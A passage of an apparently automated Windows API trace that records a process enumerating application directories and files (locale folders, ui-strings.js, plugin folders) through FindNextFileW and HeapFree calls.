dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0183.855] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.855] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0183.855] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.855] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0183.856] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.856] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0183.856] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.856] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0183.856] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.856] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0183.856] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.856] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0183.856] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.856] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0183.856] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.856] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0183.857] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.859] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0183.859] FindClose (in: hFindFile=0x72a788 | out: hFindFile=0x72a788) returned 1 [0183.859] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0183.859] FindNextFileW (in: hFindFile=0x72a708, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea4f00c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea4f00c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x9838, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0183.860] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0183.860] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea4f00c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0183.860] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0183.860] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0183.860] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="add-account-select", cAlternateFileName="ADD-AC~2")) returned 1 [0183.862] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0183.862] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0183.862] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0183.862] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec6510c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeec6510c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeec6510c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0183.863] FindClose (in: hFindFile=0x72a448 | out: hFindFile=0x72a448) returned 1 [0183.863] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0183.863] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="aicuc", cAlternateFileName="")) returned 1 [0183.863] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0183.863] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd61dea, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd61dea, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0183.865] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0183.865] FindNextFileW (in: hFindFile=0x72a588, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8802e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefd8802e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0183.865] FindClose (in: hFindFile=0x72a588 | out: hFindFile=0x72a588) returned 1 [0183.865] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0183.865] FindNextFileW (in: hFindFile=0x72a448, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x266, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="warning.png", cAlternateFileName="")) returned 1 [0183.865] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0183.865] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0184.392] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.392] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0184.392] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.392] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0184.392] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.392] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0184.392] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.392] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0184.393] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.393] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0184.393] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.393] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0184.393] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.393] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0184.394] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.394] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0184.394] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.394] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0184.394] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.394] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0184.394] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.394] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0184.394] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.395] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0184.395] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.395] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdd469f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0184.395] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0184.395] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 1 [0184.397] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.398] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-action-plugins", cAlternateFileName="SELECT~1")) returned 1 [0184.398] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0184.398] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="epdf", cAlternateFileName="")) returned 1 [0184.398] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46e4f88 | out: hHeap=0x710000) returned 1 [0184.398] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eadcac | out: lpFindFileData=0x2eadcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="epdf", cAlternateFileName="")) returned 0 [0184.398] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0184.398] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x46d4f80 | out: hHeap=0x710000) returned 1 [0184.398] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff9e0af, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeff9e0af, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="selection-action-plugins", cAlternateFileName="SELECT~1")) returned 0 [0184.398] FindClose (in: hFindFile=0x4531e80 | out: hFindFile=0x4531e80) returned 1 [0184.399] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0184.399] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeff9e0af, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugins", cAlternateFileName="")) returned 0 [0184.399] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0184.399] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0184.400] FindNextFileW (in: hFindFile=0x72a788, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdd469f, 